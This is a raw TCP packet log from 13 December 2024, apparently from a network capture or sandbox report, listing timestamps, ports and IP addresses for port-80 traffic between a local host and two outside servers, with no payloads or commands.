Dec 13, 2024 01:51:34.038084984 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.038134098 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.038256884 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.038315058 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.038424969 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.038471937 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.039244890 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.039376020 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.039422989 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.039453983 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.039602041 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.040235043 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.040285110 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.040412903 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.040458918 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.041234970 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.041280031 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.041344881 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.041388988 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.042237997 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.042284966 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.042351007 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.042395115 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.043260098 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.043396950 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.043447018 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.044231892 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.044281006 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.044344902 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.044389009 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.045237064 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.045284033 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.045365095 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.045414925 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.046274900 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.046329021 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.046377897 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.047220945 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.047275066 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.047348976 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.047413111 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.048222065 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.048280001 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.048341990 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.048388958 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.049195051 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.049247026 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.049325943 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.049369097 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.050271034 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.050318956 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.050384045 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.050426960 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.051204920 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.051336050 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.051387072 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.052203894 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.052253008 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.052316904 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.052364111 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.053200006 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.053246975 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.053324938 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.053370953 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.054173946 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.054333925 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.054384947 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.055249929 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.055298090 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.055361032 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.055408001 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.056190014 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.056237936 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.056307077 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.056351900 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.057179928 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.057231903 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.057265043 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.057312965 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.058187008 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.058233976 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.058367968 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.058414936 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.059165955 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.059272051 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.059340000 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.060167074 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.060214996 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.060277939 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.060322046 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.061167955 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.061212063 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.061290026 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.061333895 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.062160015 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.062201977 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.062278032 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.062336922 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.063180923 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.063308954 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.063363075 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.064135075 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.064186096 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.064250946 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.064296961 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.065205097 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.065238953 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.065252066 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.065285921 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.066167116 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.066222906 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.066287041 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.066332102 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.067110062 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.067236900 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.067287922 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.068145037 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.068192959 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.068464994 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.068556070 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.069156885 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.069205046 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.069271088 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.069315910 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.070147038 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.070265055 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.070314884 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.071086884 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.071357012 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.111496925 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.111550093 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.111779928 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.115381956 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.116779089 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.116832972 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.116966009 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.116966009 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.124861002 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.124913931 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.125145912 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.132922888 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.132977009 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.133163929 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.140640020 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.140683889 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.140949011 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.148930073 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.148988008 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.149065018 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.156903982 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.157000065 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.157217026 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.164783955 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.164874077 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.165049076 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.172924995 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.172980070 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.173134089 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.173134089 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.180926085 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.180983067 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.181113005 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.181113005 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.188493967 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.188520908 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.188689947 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.188689947 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.196043015 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.196147919 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.196286917 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.212423086 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.212608099 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.212646008 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.212831974 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.212845087 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.212954998 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.213056087 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.213357925 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.213865995 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.213921070 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.213984013 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.214106083 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.214914083 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.214968920 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.214977980 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.215015888 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.215890884 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.215956926 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.216029882 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.216072083 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.216821909 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.216917038 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.216981888 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.217031002 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.217847109 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.217983007 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.218036890 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.218820095 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.218892097 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.218955040 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.219001055 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.219841957 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.219902992 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.219983101 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.220067024 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.220856905 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.220963955 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.220966101 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.221012115 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.221841097 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.221896887 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.221961975 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.222007036 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.222821951 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.222884893 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.222937107 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.222990036 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.223963022 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.224020958 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.224096060 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.224152088 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.224833012 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.224905968 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.224953890 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.225090027 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.225838900 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.225893974 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.225958109 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.226119995 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.226851940 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.226918936 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.226952076 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.226998091 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.227787018 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.227847099 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.227931976 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.228009939 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.228815079 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.228868008 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.228931904 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.229101896 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.229782104 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.229846001 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.229893923 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.229942083 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.230786085 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.230838060 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.230947018 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.230998039 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.231796980 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.231849909 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.231911898 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.232121944 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.232799053 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.232851982 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.232878923 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.232928991 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.233835936 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.233894110 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.233957052 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.234133005 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.234802008 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.234940052 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.235007048 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.235811949 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.235872984 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.235939026 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.236041069 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.236779928 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.236833096 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.236865997 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.237066984 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.237746954 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.237817049 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.237852097 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.237898111 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.238764048 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.238827944 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.238893032 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.238991976 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.239744902 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.239799023 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.239876986 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.240045071 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.240763903 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.240824938 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.240891933 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.241050005 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.241772890 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.241822958 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.241859913 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.241908073 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.242775917 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.242846966 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.242896080 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.242944956 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.243741035 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.243798018 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.243861914 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.243949890 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.244735956 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.244801044 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.244858980 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.244904995 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.245750904 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.245820045 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.245866060 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.245912075 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.246730089 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.246800900 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.246849060 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.246968031 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.247747898 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.247803926 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.247807026 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.247852087 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.248739004 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.248794079 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.248857021 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.248909950 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.249728918 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.249788046 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.249840021 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.249888897 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.250760078 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.250881910 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.250893116 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.250931025 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.251751900 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.251796007 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.251853943 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.251903057 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.252697945 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.252758026 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.252823114 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.252871990 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.253704071 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.253762960 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.253822088 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.253923893 CET	49809	80	192.168.2.4	31.41.244.11
